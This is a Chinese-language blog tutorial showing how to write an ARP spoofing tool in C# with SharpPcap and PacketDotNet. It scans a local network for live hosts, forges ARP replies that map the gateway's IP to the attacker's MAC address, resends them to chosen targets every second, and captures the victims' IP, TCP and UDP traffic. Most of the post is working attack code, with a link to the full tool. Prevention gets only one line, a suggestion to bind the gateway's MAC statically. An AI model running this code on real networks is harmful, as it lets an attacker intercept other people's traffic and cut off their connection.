C# 透過ARP技術來觀察目標主機資料包

BruceNeter發表於2024-04-07

由於之前寫的C# 實現Arp欺詐的文章屬於網路攻擊,不能夠被展示,所以這邊我們稍微說一下C#呼叫ARP包以及檢視其他電腦上網資料包的技術,委婉的說一下ARP在區域網之中的應用。
本文章純屬技術討論,並且涵蓋了如何去防止ARP攻擊的手段。

目錄
  • ARP作用
  • ARP欺騙原理
  • 工具
  • 實戰
    • 獲取本機所有的網路裝置
    • 獲取對應裝置的ip和mac地址,以及閘道器ip
    • 獲取閘道器mac地址
    • 掃描區域網內活動ip和mac地址
    • 指定ip/ips攻擊
  • 獲取網路資料包
  • 工具頁面
  • 如何預防?
  • 完整程式碼和工具

ARP作用

學到一點網路的都知道,ARP本身用於IP地址和MAC地址的轉換,主要是在七層網路協議中,網路層之下就是使用MAC地址進行通訊了,這樣的設計本身也是底層可以無關上層通訊協議的變化而變化,而提供一個統一的介面。

比如區域網中的A主機和B主機,如果A主機的ARP快取中有B主機的MAC地址,則直接傳送資料到對應MAC地址,沒有則透過傳送ARP廣播資料包的方式,根據回應來更新ARP快取。

ARP欺騙原理

建立一個arp包,將閘道器ip地址和錯誤的閘道器mac地址傳送給目標主機,讓主機更新錯誤的mac-ip地址對映到快取中。

工具

開源的.net arp庫: SharpPcap,PacketDotNet
專案中匯入:

<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

實戰

獲取本機所有的網路裝置
LibPcapLiveDeviceList.Instance
獲取對應裝置的ip和mac地址,以及閘道器ip
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本機MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 閘道器IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
獲取閘道器mac地址

透過傳送arp包到閘道器,獲取響應包,從響應包中獲取mac地址。
1.建立arp包

var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2.傳送arp包到閘道器,並且等待下一個回覆包。

LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一個arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
掃描區域網內活動ip和mac地址

1.設定掃描的ip區間,生成每個ip的arp請求包

var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2.傳送arp包到各個ip,如果回覆了則線上,超時則認為不活動

if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回覆的arp包並且是我們請求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}
指定ip/ips攻擊

攻擊包就不能建立請求包, 應該偽造一個來自閘道器的響應包,從而將閘道器錯誤的mac地址更新到目標主機的快取中。
1.建立錯誤的響應包

 private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

呼叫建立arp響應包,但是可以看到最後一個mac地址,應該是閘道器的mac地址,我們替換成了自己本地mac地址。

BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2.直接以1000ms的間隔輪詢傳送響應包到目標主機

var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

獲取網路資料包

此時的被攻擊的電腦,由於它的閘道器對應的MAC地址被我們替換成了自己電腦的MAC,所以原本透過閘道器傳送的資料包,都會傳送到我們電腦上來,我們不做任何處理就會導致電腦無法上網,我們可以透過監聽網路卡檢視來自該電腦的資料包,從而窺探一些請求。

/// <summary>
/// 監聽到攻擊的網路卡收到的資料包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
    try
    {
        var device = sender as LibPcapLiveDevice;
        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
        if (packet != null)
        {
            if (packet is EthernetPacket ethernetPacket) //資料包是乙太網資料
            {
                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

                if (targetComputer != null)
                {
                    var ipPacket = ethernetPacket.Extract<IPPacket>();
                    if (ipPacket != null)
                    {
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

                        var udpPacket = ipPacket.Extract<UdpPacket>();
                        var tcpPacket = ipPacket.Extract<TcpPacket>();
                        packetViewModel.Type = "IP";

                        if (udpPacket != null)
                        {
                            packetViewModel.SourcePort = udpPacket.SourcePort;
                            packetViewModel.TargetPort = udpPacket.DestinationPort;
                            packetViewModel.Type = "UDP";
                        }

                        if (tcpPacket != null)
                        {
                            packetViewModel.SourcePort = tcpPacket.SourcePort;
                            packetViewModel.TargetPort = tcpPacket.DestinationPort;
                            packetViewModel.Type = "TCP";
                        }

                        targetComputer.AddPacket(packetViewModel);
                    }
                    else
                    {
                        ///mac地址沒啥好記錄的都知道了
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.Type = "乙太網";
                        targetComputer.AddPacket(packetViewModel);
                    }
                }
            }
        }
    }
    catch (Exception) 
    {
    }
}

我們解析了IP資料包,TCP以及UDP包。

工具頁面

image

如何預防?

一般只需要本地將閘道器和MAC地址靜態繫結即可。

完整程式碼和工具

https://github.com/BruceQiu1996/ArpSpoofing

相關文章